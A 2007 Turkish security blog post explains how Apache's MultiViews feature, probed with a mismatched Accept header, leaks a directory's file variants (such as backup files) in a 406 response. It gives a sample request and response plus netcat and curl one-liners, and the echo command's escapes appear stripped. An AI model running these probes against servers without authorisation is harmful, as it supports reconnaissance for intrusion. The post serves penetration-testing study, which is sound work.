17th Jul, 2007

Multiviews Apache, Accept Requests and Free Listing

Stefano Di Paola`nın bloguna yazdigi yaziyi gostermesiyle bir kac test yapmaya basladik. Her ne hikmet ise FreeBSD uzerinde ne yaptiysam ayni sonuclari alamadim (???). Fakat diger distrolarla test ettigimizde olayin gerceklesiyor oldugunu gördük.

Olay; Apachenin Multiviews özelliğinden kaynaklaniyor. Eğer bu özellik belirlenen dizin için geçerliyse o dizine yaplan bir istekte uzantilari dikkate almak sizin “index.*” gibi dosyalari listeliyor. Penetration testlerin bilgi toplama kismi icin kullanilabilir bir ozellik.

GET /index HTTP/1.1
Host: myhost
Accept: application/whatever; q=1.0

HTTP/1.1 406 Not Acceptable
Date: Sat, 14 Jul 2007 14:51:29 GMT
Server: Apache/2.0.55 (Ubuntu)
Alternates: {“index.bak” 1 {type application/x-trash} {length 3}},
{“index.php” 1 {type application/x-httpd-php} {length 3}}
Vary: negotiate,accept
TCN: list
Content-Length: NNNN
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>406 Not Acceptable</title>
</head><body>
<h1>Not Acceptable</h1>
<p>An appropriate representation of the requested resource /index could not
be found on this server.</p>
Available variants:
<ul>
<li><a href=”index.php”>index.php</a> , type text/html</li>
<li><a href=”index.bak”>index.bak</a> , type application/x-trash</li>
</ul>
<hr>

Sizde denemek isterseniz,

echo -ne “GET /index HTTP/1.1rnHost: www.host.orgrnAccept: application/whatever; q=1.0rnrn” | nc www.host.org 80

ve ya

curl “www.host.org/index” -H “Accept: application/whatever; q=1.0”

Leave a response

Your response:

Categories